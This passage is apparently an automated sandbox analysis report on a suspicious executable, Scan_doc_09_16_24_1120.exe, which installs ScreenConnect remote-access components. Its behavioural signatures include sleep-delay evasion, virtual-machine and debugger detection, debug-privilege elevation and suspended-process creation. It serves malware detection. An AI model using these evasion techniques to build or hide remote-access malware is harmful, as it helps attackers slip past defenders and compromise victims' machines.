Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -599875s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -599766s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -599607s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -599500s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -599390s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -599235s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -599110s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -598880s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -598485s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -597959s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -597813s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -597688s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -597563s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -597438s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -597328s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -597217s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -597109s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -596997s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -596883s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -596781s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -596672s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -596562s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -596453s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -596344s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -596234s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -596125s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -596015s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -595906s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -595783s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -595565s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -595141s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -595031s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -594922s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -594813s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -594703s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -594594s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -594484s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -594375s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -594265s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -594156s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -594044s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -593938s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -593813s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -593688s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -593563s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -593453s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -593344s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -593219s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -593109s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -593000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -592883s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -592687s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -592571s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1120 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe TID: 7684 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe TID: 7720 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe TID: 5560 Thread sleep time: -922337203685477s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0 Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_00834A4B FindFirstFileExA, 0_2_00834A4B
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Thread delayed: delay time: 40000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599875 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599766 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599607 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599500 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599390 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599235 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599110 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598880 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598485 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597959 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597813 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597688 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597563 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597438 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597328 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597217 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597109 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596997 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596883 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596781 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596672 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596562 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596453 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596344 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596234 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596125 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596015 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595906 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595783 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595565 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595141 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595031 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594922 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594813 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594703 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594594 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594484 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594375 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594265 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594156 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594044 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593938 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593813 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593688 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593563 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593453 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593344 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593219 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593109 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592883 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592687 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592571 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\ Jump to behavior
Source: Amcache.hve.5.dr Binary or memory string: VMware
Source: Amcache.hve.5.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.5.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: dfsvc.exe, 00000001.00000002.2791465766.00000227204E4000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2794048940.0000022721C6C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3271828172.000001E57F82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3274237229.000001E585054000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3271223902.0000022264AD2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270802647.0000022264A27000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Amcache.hve.5.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.5.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.5.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ScreenConnect.ClientService.exe, 0000000C.00000002.3269939866.000000000071C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.5.dr Binary or memory string: vmci.sys
Source: Amcache.hve.5.dr Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.5.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.5.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.5.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: svchost.exe, 00000007.00000003.2088814426.0000022265A36000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: NXTVMWare
Source: Amcache.hve.5.dr Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.5.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.5.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.5.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Windows\System32\svchost.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Process queried: DebugPort Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_0083191F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0083191F
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_00831000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_00831000
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_00833677 mov eax, dword ptr fs:[00000030h] 0_2_00833677
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_00836893 GetProcessHeap, 0_2_00836893
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Process token adjusted: Debug
Launches processes in debugging mode, may be used to hinder debugging
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" Jump to behavior
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_00831493 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00831493
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_0083191F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0083191F
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_00834573 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00834573
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_00831AAC SetUnhandledExceptionFilter, 0_2_00831AAC
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: ScreenConnect.ClientService.dll.1.dr, ClientService.cs Reference to suspicious API methods: WindowsExtensions.OpenProcess(processID, (ProcessAccess)33554432)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT | WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.LoadLibrary(loadedImageBase + ptr[i].Name)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.cs Reference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5572 -ip 5572 Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5572 -s 684 Jump to behavior
